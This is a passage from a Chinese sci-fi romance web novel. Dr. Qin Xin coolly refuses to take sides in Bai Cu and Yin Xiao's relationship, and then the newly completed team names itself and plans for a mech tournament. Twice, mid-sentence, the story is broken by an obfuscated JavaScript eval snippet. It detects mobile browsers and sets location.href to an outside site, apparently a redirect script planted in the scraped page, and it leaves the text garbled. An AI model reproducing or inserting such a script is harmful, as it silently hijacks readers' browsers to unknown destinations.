这件事池泷也听说过,毕竟对白家来说,这件事并不是什么需要深藏的家丑,反而在给那个仆人一大笔钱后,他们还大肆宣扬白簇的能力。 “刀虽短,但锋利已现。”这是白家的企图。 “人虽小,但疯劲已显。”这是旁人的担忧。 因此,后来白簇治病期间失控伤人,或者做训练难压暴力时,这件事会被人反复拿出来说道:“小小年纪就能看出来她这人,没好儿!” “幸好,当时秦医生出手控制住了场面,白家也终于看到了这个私生子的价值。”想起这件事,尹霄牙根几乎都要咬碎。 “于是,他们想让秦医生控制老白。”这句话,是池泷说的。 也想让秦医生“生产老白”。这是池泷没说的。 既然能救活白簇,也能控制住白簇,那一定有方法能让这样的基因一直流传,成为献给王室的“礼物。 这才是,秦医生在白家眼中的价值。 “后来,秦医生没办法之下,只好找到我家,将何姨的嘱托告知。”想起当时父亲眼中的犹豫,尹霄心中也倍感沉重。 如果不是爸爸的坚持,父亲恐怕没那么轻易允许。 “嗯。”白簇转回头,眼眸或许是遗传自母亲肉血交融的红,与新生加持被爱后产生的金。 再细看,她瞅着池泷时,眼中又装着沉甸甸的信任,和不易察觉的痛苦:“姑姑,白心。” 这才是真正的导火索。 “所有人都知道她叫‘白心’,白家甚至给她在医院挂了名,却不放号出诊,十分神秘,”尹霄轻轻说,“可能因为她实际上还是‘秦心’,连她的所有ID都叫‘秦心’。” 池泷思索,或许是达成了某种协议。 而“协议”两字又涵盖了多少风风雨雨。 如何在利益至上的家族中带着一个“定时炸弹”完美脱身、如何在布满白家势力的央星成功立足,这些事足以说上很久,却无法细细道来。 但任谁一想,都只能先感到扑面而来的寸步难行。 这就是池泷敬意的来源。 眼前的房屋一片地中海风格的大地色,远远望去,一片捎色不均的地方都没有。连门前的小丛灌木被严格修剪成方块形状。 为什么说严格,因为站在木丛侧边一眼看过去,并列的灌木,无一枝一叶突兀,完美的修剪,让它们看起来和空气都“泾渭分明”。 甚至丛带顶端一面和地面近乎平行,侧端一面和地面完美垂直。 谁看了都得说一句:“这人有强迫症吧?” 从拱形的大门进入,对称摆放的碎雪纹大理石长椅围出来一个四方天井,整体大地色的色调配合着恰到好处的肌理感,天井中间的池中徜徉着碧蓝的水体,似乎真的有“海洋风”。 可池泷怀疑,这里哪怕是拱形的门窗,都是双数,且镜面对称着,剩余的地方,都是言简意赅的方形。 毕竟当他们进入内屋时,大堂左右两边的地上,连亚麻地毯都是一模一样对称的两块方形。 窗边倒是放着一套充满星际设计感的原木色书桌椅凳,和不算小的现代造型书架,上面的书本,按大小颜色,排列得十分悦目。 就没有多余的家具了。 很神奇的风格,看似休闲,却一板一眼。 “筋肉自我修复手术用了我多少再生细胞,你知道吗?”伴随着富有规律的脚步声,二楼上下来一个人,她的及时出声,制止了正准备对窗边桌椅下手做些什么的白簇。 脚步很稳,但个子不高,宽大的T恤更是将一半大腿都盖住了,脚下蹬着一双织锦面花的木屐凉鞋,随着走路,精准定时地发出“嘎达”的声响。 池泷抬眼望去,瞬间一愣。 这是她至今为止见过最自然的黑眸、黑发,只有过于白皙的皮肤才能看出她和白簇的相像之处。 五官小巧精致,葡萄般的大眼睛,和小鼻嘟唇一起长在一张娃娃脸上。一旦笑起来,只会让人觉得她过于可爱、还未成年。 如果头上戴个红色蝴蝶结,就像在亚热带度假的白雪公主。 看到楼下的三人,来人却没什么过多的表情,非要形容的话,就是“稀松平常”的模样。 下到一楼,她径直走到白簇身边,勾勾手指,示意白簇抬起左臂。 明明个子才到白簇胸口,面容也绝对算不上威仪,可白簇在她面前却仍被显得乖巧无比,放松顺毛地任她扒拉着,做各种动作。 “恢复不错。”正常的表情,没什么起伏的语气,连比如点点头肯定这样的小动作都没有。 这个消息本应该让人觉得高兴,可这人不含喜悦或者欣慰的声音,又让人一时间不知道要不要高兴。 哪怕她看病的对象,是和自己有血缘的亲戚。 闻言,白簇歪歪头,又看了眼池泷。 “不必用机器检测,我担保你能把这套装置摘了,只是下周末之前尽量不要动手,反正要磨合,不如从机甲开始。”平铺直叙,就只是在说话,连公共飞艇上的AI都比她有感情。 好吧,这是一个在亚热带度假、但不会跟小鸟一起唱歌的白雪公主。 池泷想,也算是第二个和白簇的相像之处吧。 “你是擎晴的妹妹?”甚至如此突然的话题转移,也因为她过于正常的语气,反而让池泷觉得自己不应该开小差想有的没的。 “呃,是的。”一时间池泷还噎了一下,“您认识我姐?” “学会上见过几面。”说完这句话,秦心往窗边走去,甩头时,头发飘在空中,阳光照射下,能看到其他颜色的痕迹。 “她研究部分的生物,我研究生物的部分,也算有共同话题。”在窗边摆放的椅凳上,秦心盘腿坐好。 这算是一种幽默吗?池泷有些拿不准。 但尹霄从进门前就一直在看光脑,似乎没有听秦心说话,更难判断了。 “有事?”还是秦心先行出声。 “呃,是的。”突如其来的发问,加上棒读般的语气,总是令人一噎。 将那张曹追星给的纸条递给她,池泷站着讲述了在亚硫城医院的经历。 此处,强调站着。 为什么强调。因为池泷发现,因为没有多余的座位,导致他们现在只能站在大堂中央。 一个在不停活动胳膊,一个仍然眼离不开光脑,还有一个,在尴尬地独自汇报。 像“正在紧张答辩的我和我那只知道嘻嘻哈哈、没用的两个室友。” 秦心拿过单据,看了一会儿,接着说了句“我会留意的”,就准备结束对话。 手从胸前背到后背,又从后背背回胸前,池泷脸上“就这?”的表情都来不及藏住。 于是,秦心抬头,阳光照进眸中,池泷发现,其中有抹近乎纯黑的暗红飘过。 “我对曹追星的印象,只有以前他来参加了我的讲座,也是近年来唯一的讲座,人不多,一共五六个,”被修剪得圆润对称的指甲敲了一下那张单据,“他让你找我,应该是被我的才华折服,觉得我能调查这个项目。” 哪怕自夸,秦心脸上仍是平常不带任何波澜的表情,没有一点谦虚或者炫耀的样子。 “这味药材,我知道它的用处,我会以此为提示留意的,”说完,她抬眼,娃娃脸上布满认真,让池泷从见面起,第一次觉得她像个大人,“林息不知道吧?” “呃,是的。”说完,池泷还有些懊恼,为什么自己只知道说这一句话? “他都不知道……”客观叙述、语气平常、不带讽刺,但言下之意有种“林息都不知道,你却指望我?”的意思,让池泷忍不住有些脸红。 好吧,自己确实有些着急。 “还有,”池泷慢慢看向秦心,却意外发现她的眼神已经离开自己,“不要再试图攻击我的防御星网。” “我是她的omega未婚夫,有什么体检报告是我不能知道的!”话题的主人终于离开了光脑,气急败坏地说道,脚还跺了两下。 “你需要知道的,我都给你了,”秦心看三人的眼神好像都是一样的,或者说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15355402|155610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从见面开始,她看任何事物的眼神好像都是一样,一样的的客观冷静,“而且,你俩现在还没有婚约。” 扎心。 池泷想,连她都替白簇和尹霄觉得扎心。 但不妨碍秦心说的是实话。 虽然大众都觉得,未来的某一天,白尹两家必会联姻。 但其实小队里的三人却都知晓,这段感情,无论是尹家还是白家,都不支持两人在一起。 明面上,两家在政界意见上并不合拍,而且白家满心不愿,这是众所周知的,但其实,也是多年来尹霄在他的alpha父亲眼皮下造势形成的舆情。 但尽管他的alpha父亲并未出手制止尹霄的行为,可尹家这位前家主也并未轻易松口。 这也是两人每次回去家族,都会“大战一场”的原因。 “秦医生,你会支持我们吗?”和池泷料想的尹霄出言回怼或者“我要跟你决一死战”场面不同,听见这话的尹霄竟然十分平静,甚至出言反问。 只是,池泷从尹霄脸上,看见一点……卑微的希望? “关我什么事。” 这是池泷始料未及的答案,她猛地看向秦心。 秦心依旧没有多余的表情,没有不耐、没有推脱,或者说,没有任何情绪。 只是在陈述一个事实。 而尹霄,池泷随即转头望去,虽然他的表情也看不出什么,可天蓝眼眸中深藏的沉重,连白簇扶上肩头的臂膀也未能将其支撑。 “姑姑,我要娶……”接下来,是白簇的发声。 相对于以往总是一个字或者一个词的单蹦,差点就要听到一条小短句。 池泷心中轻微讶然,同时倍感担忧。 果然,应该不是白簇无法说完那个重要的小短句,那便是秦心故意或无心的打断。 “我说过,不关我事。” 池泷最终还是看向了秦心,她第一次觉得秦心之所以叫秦心,或许是因为她真的没有“心”。 作为白簇和尹霄口中“救世主”一般的姑姑,哪怕面对有血缘关系的白簇,她的表情,也和回答尹霄问题时如出一辙。 难道,只有面对恋人,才会露出不一样的情绪? “我不会掺和所有白家内部的事情,你又没办法脱离那个家庭,这是第一条。”秦心说道,她慢条斯理地掰着手指,细数原因,“第二,尹家也是不小的阻碍,我支不支持并不会产生什么影响。” 就在要掰第三根手指时,池泷率先出声:“秦医生,不考虑任何客观因素,仅就你自己的主观意思,你支持他们吗?” 不要找借口,不要说别的,就说你自己,你是怎么想的? “我不重要,客观因素才是真正的阻碍,”仍旧是过于冷静的回复,秦心似乎不含主观情绪的表情过于衷心,反而让人觉得冷漠,“所以我并未思考过。” 池泷还想张嘴,却被她预判:“平日里,也不会想这事,我很少会有闲暇时。” “理解他俩的心情,所以能帮上忙的地方,我都会去做,”她说的每一句话都语气日常且肯定,不会让人怀疑作假,因此也让池泷愈感匪夷所思,“但主观上,支持或者不支持,与我无关。” 很神奇的人,池泷想,和她所居住的这座建筑,倒是一模一样。 “假如,”池泷不死心地说道,“假如有一天你能插手白家的事……” “够了,我说的还不明白吗?”终于,秦心脸上产生了其他的表情,她眉毛轻挤,嘴角轻抿,算是个比较明显的不耐表现,“没有假如。” 或许这就是理性永远处于感性上风的表现。池泷心中释然,这样看,反而是自己一直在这里没事找事。 “没事的话,送客了。”从书架上抽出一本书,在桌面上磕了两下,秦心朝门口抬了抬下巴。 于是,三人沉默地离开了。 “秦医生的边界感很强,”出了大门,池泷没忍住,还是说了句,不知道算不算得上安慰,“但应该是个恪守诺言的人。” 想起那堆灌木,和那不想跟人闲扯所以连座椅都不设的内厅,这位理性的姑姑,倒是直率且富有原则。 “嗯,秦医生一直都这样,我们都找她好多次了,每次都是一样的答案。甚至我父亲来治疗的时候,她都不会像今天这样直接拒绝,只是回避这样的问题,”尹霄多少有些苍白地笑笑,努力地假装轻松,“而且确实能帮的地方,她都出过力,至少,对于我俩的询问,从没表现过不耐烦。” “是嘛。”好友努力的玩笑,池泷心中几多不忍。 她约莫明白尹霄的想法。 在白家眼中具备巨大价值、在尹家眼中也应该是颇有威信的人如果肯表示支持,就算不是决定性的作用,但应该也会产生一定正面的效果。 只是,秦心心中也应该有自己的一套原则,不容修改。 但这点倒不能被人诟病。 轻轻叹了口气,池泷心疼两人:一边是自小陪伴的家人,一边是无怨无悔的眷侣,如果不能平衡,心中该有多失望多遗憾。 这时,光脑传来提示,自己收到了新的讯息。 Linxx:家中有事,回复较晚,见谅。白簇恢复得怎么样了? 林息终于回复,池泷才觉得高兴了几分。 也是看到林息,有些对打击感同身受的池泷也才突然想起:“嗐,没事,我们不还有大赛么,到时候得了第一,你俩是想昭告天下订婚也行,偷摸跑走低调领证也行。” 她看向好友,眼中尽是满溢的希望,从乌墨处流向红蓝,声音轻快俏皮,像一股无法被捕捉的风:“总之,就是我们说了算!” 悲伤如果是一场悄无声息的覆盖,那快乐就是一瞬间的散开。 “你说得对!”眸中的天蓝突地明媚了起来,烦恼被勇气打败,“到时候,都是我们说了算。” 赤红马尾抖动了一下,紧接着也随风起舞,轻快又张扬。 “自古红蓝出cp。”嘟嘟囔囔,池泷轻声笑着,手指在光脑不停打字,“‘老祖宗’的话,总是没错的。” “明日,我们会在老地方讨论磨合计划,(狗头伸食指指人)另外,我还有些事想说,务必要来。” 发送过去,池泷想,终于到时候了。 59.第54章 距离上次见到林息,也就过去了两三天而已。 一眼认出那个白T黑裤、简洁清爽的熟悉背影,池泷还是觉得他瘦了。 想想那位有些挑剔的林家家主,倒不像个会让孩子饿肚子的人。 “怎么来得这么早?” 听到熟悉的声音,一直不知道在注视什么的人才抬起头来,额前的发丝又长了一些,快要遮住那双好看的眼睛,朝晨的清风将发尾有些吹乱,阳光将亚麻色染成了流光溢彩的金棕。 此刻池泷才发现,这人竟然戴着口罩! 一副偷摸做贼的模样,在别人家门口站了不知多久,倒也没人投来怀疑的目光。 是因为通身淡然闲稳的气质,让人觉得他绝对不会做坏事吗? “不热吗?”新奇的模样让池泷心情莫名大好,她微笑出声,缓缓走近。 雪白手指似乎有些尴尬,沿着口罩边缘蹭了蹭,下一秒琥珀色的眼眸微顿,视线不错地盯着眼前。 嗯?为什么有些愣神? 池泷努力压抑着玩味的嘴角。 原本的模样下,林息做什么都让她有种特别的新鲜感。 真是奇怪,池泷想,经过那一晚,眼前的人总是莫名透露着一种自己以前从未发现的可爱。 直到—— 一只胆大包天的手将发丝撩起,极得池泷喜欢的琥珀眼睛彻底展现,清泠泠地落入一片亮色。 接着,另一只手拿着一个不知道从哪里得来的浅黄发夹,上面还有一只憨态可掬的迷你小熊装饰,将撩起的头发,“啪”地一声别住。 那只小熊抱着蜜罐,满足开心地斜靠在柔软热乎的发丝上。 和它的上一个拥有者一样,都露出了幸福的笑容。 从头发被撩起,雪白的手指便轻轻勾住了口罩边缘的一处,直到脑门上传来轻轻地摁动,额前凉意忽现,视线也突然清晰了起来,才松开。 手指一时间有些无措,不知道该去摸摸被整到一起的头发,还是戳戳那个头上不知形状的夹子。 最后,指尖传来的触感,告诉林息,似乎是一只抱着蜜罐的小熊。 小熊脸上有一处明显的弧度,林息想,应该和眼前的alpha,笑得一模一样。 所以自己都做了什么啊! 回过神来,微笑差点龟裂的池泷忽地将手背在身后,两只手死命互掐,似乎都在责问对方的不守规矩。 仔细一看,那只熊笑得如此愚蠢且土气! 他竟然没摘下来!多么贴心的omega! 哦不,多么为他人着想的队友! 更加难以维持笑容,池泷此刻恨不得将那两只脱离掌控的手剁掉! 为什么自己见到“真实的”林息时,总会发生各种奇葩事! “有点,”声音凉爽得如同夏日山谷里汩汩流淌的溪水,回答了池泷的问题,“谢谢你。” “你喜欢就好。”对方的回答,多少抚慰了焦灼的心尖。 得益于好歹是帮对方减少了热意,池泷觉得那个发卡好像也没那么愚蠢了。 带着掐红的印记,右手从后背伸出搓了下鼻尖,池泷清清嗓子,问道:“怎么不进去?” 眼神再次瞥过林息,戴着发卡的omega好像比以前更好看了些,这种认知让她有些脸红,后背也隐隐起了一层薄汗。 立马说了句“今天真热啊,哈哈”,被抠出明显指甲盖印的左手还故作自然地扇了扇。 “这么早叨扰两人,不太合适吧。”和以往一样的声音,清淡又有几分冷然。 好在对方没有看穿自己的心虚,反而接下话茬,一时间池泷心头闪过庆幸,又好像有些失落。 “他俩这个点一般不会醒,但等他俩醒就太晚了,”稍微弯下身,池泷指了指门把上面的一道绿圈,“如果尹霄不想被人打扰,这里会是红色的。” 说着,池泷直接把门打开:“快进来吧,外面真的很热。” 刚才指尖传来发丝过于温热的触感,说明林息应该早到了,而且在门口站着得有一会儿了。 这是不是意味着他同样也在期待这次的见面? 想到这儿,池泷更高兴了一点,嘴角根本压不住:“吃过饭了吗?每次来,我都会给他们做饭,所以顺带……” 还没顺带完,上翘的嘴角就尴尬地僵住了。 玄关那两个打扮得整整齐齐、衣服熨烫得一丝不苟的人是谁? 脖子上挂着的那个细纱领结是什么东西?虽然雪白的柔纱和灰色的头发很配,但你是在准备迎接什么大人物吗? 还有脑门上挂着的那副墨镜,是,黑色墨镜和红发也很配,尤其配上那张酷脸,简直帅得没边儿,但为什么要在家里戴墨镜?而且你手里的那个长筒状物体,是礼花吗? 是礼花吧! 三步并作两步,池泷一把上前夺过白簇手里的东西,恶狠狠地说了句:“不要给多多添麻烦。” 多多就是那个被尹霄指挥做饭的“内行”,也是这所别墅元老级的家政机器人。 名字取自“多多辛苦、多多忙碌、多多工作。” 表达了池泷对于家政机器人个“人”价值的高度肯定。 “会长!”娇俏可人的omega上前挽住林息的胳膊,自顾自地撒娇,“我们为了迎接你,早早地起床收拾了,还做了早饭,有包子稀饭,也有面包果酱,会长你更喜欢哪一个?” 说着,他便拉着林息往餐厅走去,玄关处早就放好了一双布艺拖鞋,只需要双脚一蹬就能穿上。 林息并未反抗,反而乖顺地任凭尹霄拉着。 这一幕让池泷忍不住挑眉,心中有些纳罕,张嘴说道:“你又知道人家没吃饭。” “肯定没吃!会长以前在学校,这个点经常不吃饭的!”信誓旦旦地回头,先是表情优越地看了池泷一眼,而后尹霄又轻蔑摇头,一脸“你们alpha根本不懂”的表情,让池泷莫名手痒,“而会长肯定会提早来,所以一定没吃,作为秘书,这点了解我还能没有吗?” “对吧,会长~”开心地将林息摁在餐桌上,尹霄接着坐到他对面。 果然,桌子上的食物,种类丰富、样式齐全,让池泷叹为观止。 她又看了看和以往相比,格外干净明亮的地板,连尹霄经常倚得乱七八糟的沙发都整理的边角分明。 唯独不见多多。 池泷不禁感慨,多多辛苦了。 “吃饭。”遗憾地看过池泷手中的炮筒,被提前叫醒的白簇忍不住打了个哈欠,扯下尹霄非要她戴的、那个为了表示尊重而精心打扮用的墨镜,左手搂着池泷也往餐桌走去。 “炮筒不算炮,但你也不能放。”躲过好友的搂抱,池泷掀开白簇的短袖袖口看了眼,粉色仍旧那样扎眼,她不太放心。 “我知道你很强,先吃饭吧。”打断欲言的白簇,池泷在餐桌边犹豫了一下,终究选择了坐在林息旁边。 此刻,他早已摘下口罩,露出真实的面貌。 仍旧是那张威风凛凛、坚定勇敢的脸,但池泷却感到了不一样。 很清澈、很冰凉,同时也有戏谑的调皮、体贴的温暖和笨拙的茫然。 就像,那片长着雪白芍药的旷野上,突然生出了无限的青草,点缀着五彩的小花,明明它仍旧雪白无暇,却也莫名斑斓了起来。 想到这儿,池泷突然不知所措地伸手去拿了一个小面包。 也不是第一次一起吃饭,不知道自己紧张个什么劲儿。 “咦?”尹霄奇怪,“池姐你不是不太喜欢这种东西吗?” 条件允许的情况下,池泷当然会选择自己更喜欢的食物。 “换换口味。”骑虎难下的池泷轻微皱眉,本着不浪费食物的原则,将它团成了一个小球,一口塞了进去。 但这是第一次,和不带伪装的林息一起吃早饭。 所以紧张也情有可原。 家教让林息秉持着“食不言”的原则;白簇生性不爱说话,正在埋头苦吃;而池泷恰好又在胡思乱想开小差。 多亏了喋喋不休的尹霄,才没让初次的“小队餐桌”冷场。 从校园趣事说到社会新闻,连娱乐圈乱七八糟的关系也讲得头头是道。 嚼着喜欢的包子,池泷最终还是被这些稀奇事吸引了注意力。 不住点头,或惊或喜,缤纷多样的表情让尹霄讲述得更加绘声绘色。 池泷心中感慨:不愧是尹霄,啥都知道。 尹霄心中欣慰:还得是池姐,总会回应。 “会长,”早就吃饱,但一直在安静聆听的人被提到,林息抬眼,眼前猛地撞进来一张灿烂的大大笑靥,天蓝眼眸里似乎装着一望无际的晴空,“正式欢迎你加入小队,以后就是能够交付后背的队友啦。” 心头随之漏跳了一拍,林息不懂,这样悸动的感觉从何而来。 接着,狂炫饭的酷姐刷地抬头,总让人觉得会装满狂暴的赤红眸子里,却通透得像一块红宝,透露出一种梆硬的欢迎。 吃到第15个包子的池泷也抬头,腮帮子鼓起一个小包,眯起眼,和记忆里的一样,温柔笑着,点头示意。 三种目光集中在一人身上,身体似乎被一种看不见的暖意包围,在略微炎热的天气里,竟不会让人觉得烦躁。 快速眨了几下眼睛,虽然有过不少见过大场面的经验,林息能说会道的嘴里,一时间却也不知道要讲些什么。 “给小队起个名吧,要响亮的名字!”拍拍手,尹霄兴致勃勃地提议。 “原来没有名字吗?”进门后第一次开口,林息的声音似乎让天气也爽快了几分,尹霄忍不住勾起嘴角。 虽然一开始林息是不打算开口的,自己刚加入小队,小队名字应该是从很久以前就定好的,队名里应该涵盖着没有他存在的过去。 只是尽管听到了提议,但那两个alpha似乎并不感兴趣,她们又开始埋头苦吃,连头都不抬一下。 所以只能林息接过话茬。 “不用管她们,”轻蔑不屑的语气,隐含的阴阳怪气让alpha们吃饭的速度都加快了几分,“给自己小队起名‘星联最强超级无敌旋风加速器’和‘AAAAA商务联系omega’的人,不允许参与这样的决策。” 刚想摇头表示自己觉得名字很帅的红发alpha,脑袋被黑发alpha一把摁住。 孩子你还年轻,不知道在审美和品味方面顶撞omega的下场。 这下林息也陷入了沉默。 “你有什么想法吗?”他询问尹霄,毕竟队名是一个小队的名片和总结,不能随意起。 “唯我独尊!”双手向两边摊开,十指勾内勾,将头45度仰起,尹霄的模样,一看就是看了很多反派电影,“响亮吧!来自古星的成语,还显得我们很有文化。” 天蓝眼眸里溢出了野心,认真的神色说明他并不是在开玩笑。 好随便、好惊人的起名方式。 “太招摇。”池泷偷摸表示不赞同。 还是不如我起的名字,白簇也皱起眉头。 林息明白过来,难怪你们到现在还叫“池泷小队”呢,本来以为是队长号召力够强,敢情是谁也说服不了谁。 “赳赳,怎么样?”想了想,林息提议道。 “赳赳武夫的赳赳吗?”终于吃饱的池泷眼睛亮了一下,“雄赳赳、气昂昂的赳赳?” 点点头,林息多看了她一眼。 “我站赳赳。”举起左小臂,池泷瞬间表示赞成。 “赳赳小队,听起来也挺可爱。说不定能降低对方的戒心。”在光脑上查了下“赳赳”的含义,古星的许多作品里也曾经用过,尹霄表示同意。 虽然还是比不上自己起的名字,这个奇怪的叠词也不知道是什么意思,但三比一,白簇也只能表示通过。 唯独林息的眼角闪过一丝柔软,被池泷发觉。 发卡上,小熊也轻晃了一下,似乎被人抱在怀里摇了摇。 空气中忽地传来丝丝崖柏香气。 被采用了建议,所以才这么高兴吗? 接触越多,池泷越发现,林息身上,总是有一些意料之外的特点。 熟练地杀价买菜、收到感谢就感动慌张、建议被采用就会隐秘地开心。 和他的父亲比起来,这位贵族少爷出现这些特点确实略显违和,但好在也十分可爱。 “那么——”队长仍旧是一锤定音的那个,“队名赳赳,目标是军技大赛——第一名!” “耶!”早餐桌上,四人脸上同时漾起笑意。 接着就是作战计划的讨论。 距离校内比赛开始还有半个月,四人的磨合期也就是这半个月。 “如果赛制和以往一样没有变化的话,海选就是大乱斗。” 校内选拔的赛制并不是秘密,每年都是一样的,只是在具体环节设置上会有所不同。 “这个海选规则最简单,除了信息素之外,可以使用各种手段,只要能赤手空拳把对手扔到擂台外就行。但实际上,也是最混乱的、甚至死伤最多的。” 看着手头惊心动魄的分析资料,尹霄打了一个小小的寒战。 “因为擂台场地大小‘刚刚好’,躲避的空间十分有限,”加重了句尾的语气,池泷补充,“而且虽然一般的队伍都会点到为止,可总有那些浑水摸鱼、不安好心的。” 世上总是有这样的人。不为利己,只为损人。哪怕央星军校的学生也不例外。 他们报名,不是为了取得名次,反而因为早对名次不报有任何期望,开始有预谋地趁乱淘汰选手,不择手段。 搅屎棍一样的存在,导致这一环节踩踏、压人事件频发,进而成为校内选拔死亡率最高的环节。 甚至有一年,还有人准备偷偷带进来信息素武器,幸好没逃过校内的安全检查。 “唉,人潮拥挤起来,和兽潮又有什么区别。星际76年,突击军就曾在月轨10线的探索区内遇到过兽潮,死伤无数。” 池泷托腮,调查守卫军的时候,对于突击军的众多事迹她也顺带看了一眼,确实令人敬佩。 “他们面临的危机都是不确定的,大多数情况下,临机应变的能力排第一、小队配合排第二、个人能力才是第三位。” 手指抚上眼前的凉茶,被冰过的温度让手指轻轻瑟缩了一下。 这是刚刚充满电量的家政机器人送上来的,款式不算新颖的机器人,看它流畅的动作,听它活动发出的摩擦声,林息断定它只是外壳有些陈旧,内里却都是最好的零件。 甚至有些零件,用在一个家政机器人身上,都有些浪费了。 金属胸脯的左边贴着一个铭牌“多多”,后面还被某位不知名画家涂鸦了一个看不出来的大拇指。 看来,它就是这里的首席后勤顾问了。 林息收回指尖,说道:“看似是无法无天的海选,实际上是突击军的敲门砖。” 说罢,他看向其他三人。三人点了点头,深以为然。 瞬间,他心中便有了数,终于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15406018|155610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确定他们仨以前果然是在控分。 突击军对这三人,竟然不具备吸引力。否则一般人听到这些,不都会充满斗志吗? “我们不一样。”尹霄接过话头,想了想,“所以秦医生那天才说要阿簇过了这周再动手,最好让我们磨合机甲。” 没头没尾的话语,但林息却意外地听懂了,随即他迟疑地看向池泷,琥珀里倒映着淡淡的不解。 “老白是S级alpha,是因为现存测试仪器的技术上限是S。”右手在嘴前轻轻扇了扇,池泷十分臭屁的样子,“你见过火山爆发吗?” 接着,池泷用手掌比了比白簇,后者也随即用右手轻抚左肩肩头不存在的浮灰,“我们要做的,就是不让老白脱缰,留下20个队伍就行。” “咱们队,某些情况下,不一样,”尹霄再次变成了偷到油的小老鼠形态,食指在空气中小小画圈,“必要时,个人能力还得排第一。” 一时间,林息没法形容自己的心情。 但池泷一定能感同身受,因为她一天前刚经历过这样的心情:“就、这?” 好随便、好惊人的作战计划。 “复试肯定是机甲操作,具体今年想怎么测试就不知道了。”耸耸肩,尹霄丝毫不慌,手指在光脑上点了点。 接着林息眼前就出现一张机甲照片:一个灰发小孩站在一台黑白配色的机甲前,志得意满地比着剪刀手。 这台机甲和一般机甲不同,似乎身量更小一些,也更圆润一些。 “这是我的‘熊猫’。”说起自己的机甲,尹霄现在的笑容和照片里的别无差别,“很可爱吧?它从小就陪着我,有些替换过的零件我不舍得扔,就给多多换上了。” “这样无论在家里还是校练场上,熊猫都可以一直在我身边了。” “机甲师是你从小的梦想?”目光忍不住在那张笑脸上流连,林息轻声问道。 “当然!所以我父亲早早就给我定制了熊猫,我和它,早就心心相印了!”将光脑捂在胸口,尹霄陶醉地站起转了个圈。 这样的场景任谁见了,都忍不住会心一笑。 但池泷却看见林息只是笑了一瞬,下一秒却略带狼狈地转过目光,正好撞进了池泷的眼中。 两人都愣了一下。 “这是‘鲨星’。”慌张地拿出光脑,池泷调出机甲的照片,一个穿着破烂的小孩,一脸赞叹地盯着一台破烂的机甲。 “不好意思,这是鲨星和我小时候。”尴尬地调到现在的照片,池泷再次将光脑递了过去,动作中还带点毕恭毕敬,“鲨星是我一点点改装过来的,所以,它几乎每年都会有所不同。” 和主人一样的风格,浅灰底色,甲壳边缘处用银色线条勾勒,林息能想象到,这台机甲腾空跳跃时,有多难以捕捉身影。 而池泷正想起林息在乔城“改天看看鲨星”的话语,十分纠结。 就好比专业的大拿说了句“改天一块吃饭”,是真的叫我改天吃饭?还是说其实并不要一起吃饭? 但机会毕竟是自己争取的,池泷正准备旁敲侧击一下。 结果,“野火。”酷姐将光脑放在林息面前,照片上,一身赤红如同火焰般的机甲,形似螳螂,胳膊处有奇怪的凸起。 小小的人儿居高临下地站在机甲头顶,底下是一堆举着手着急的人。 池泷发誓,她看见林息听见“野火”时悄悄松了口气,估计他也担心白簇会给自己的机甲起什么“星联第一无敌战斗机甲”之类的名字吧。 “纯近战机甲?”早就听说小队的分工,因此,林息才有此疑问。 他看向尹霄,对方移开目光,又看向池泷,结果她笑眯眯地问:“你想打什么位置?” 还有什么位置? 林息心中默默叹气,本来以为池泷算是个比较正常的队长,没想到从一定程度上来说,也是胆大包天。 “补位就行。”平淡如水的声音通告了众人最期待的答案。 “耶!”别墅里再次响起欢乐的声音。 “会长,你的机甲呢?”眼中爆发出兴奋,尹霄凑近林息,期待地问道。 不远处,白簇虽然站得笔直,但头顶上似乎竖起一对大大的耳朵。 期待像日光一样灼热,林息抿唇,一时间竟然感觉招架不住,头顶的小熊也捂紧了手中的蜜罐。 “他是机械系的,哪有什么机甲?”拈着尹霄的领结将人拖了回去,池泷站在林息身边,若有似无地遮挡了部分燥热。 “我已经在做了。”林息解释,声音坚定。 有人帮忙说出口,那接着她的话说便不再困难。 然而那句“不会添麻烦”还没出口,跃跃欲试的声音便传来:“需要我们帮忙吗?可以提供材料和人力,保证比赛前能弄得差不多。” 闻言,林息又愣了一下。 “怎么会有种帮人接生的感觉啊?” 接着,应该是尹霄的额头被池泷轻轻弹了一下,发出不满的呜咽。 “以你的性格,早就开始行动了吧,如果不是事务缠身,恐怕机甲早就问世了。”池泷回身,脸上仍旧是温柔的笑意。 确实,机甲从他决定加入小队时就已经在设计了,可后来发生了许多事,导致进度缓慢,他大约还需要个八九天才能彻底结束工作。 尽管已经尽力,可也不该被轻易原谅。 因为用父亲的话说,这是不能被容忍的低级错误。 这也是早晨他站在门口思索的事情,没想到组织了许久的道歉和方案,一句也没用上。 甚至他应该一人承担的责任和计划,也差点被悄悄打乱。 “这样,磨合不会有问题吗?不会很麻烦吗?”林息喃喃。 “磨合我们可以用虚拟机甲先暂代,等你的机甲做好再说,这才是眼下最重要的。”池泷温柔的声音传来。 同时,她身形微动,露出尹霄兴奋的脸庞,白簇在旁边点着头,表达对池泷话的肯定。 “既然是队友了,那彼此相信是最基本的事情。任何问题,我们都可以四个人一起,别担心,很快都能解决。” 琥珀色的眼眸里第一次装进了迷茫。 而且,不追求极致的话,特级机械师设计组装机甲使用应该还算简单,后面大家一起改良就是了,鲨星也是这样干的。 毕竟,池泷认为,机甲再厉害,也是人来操纵,团结一心才是获得第一名的关键。 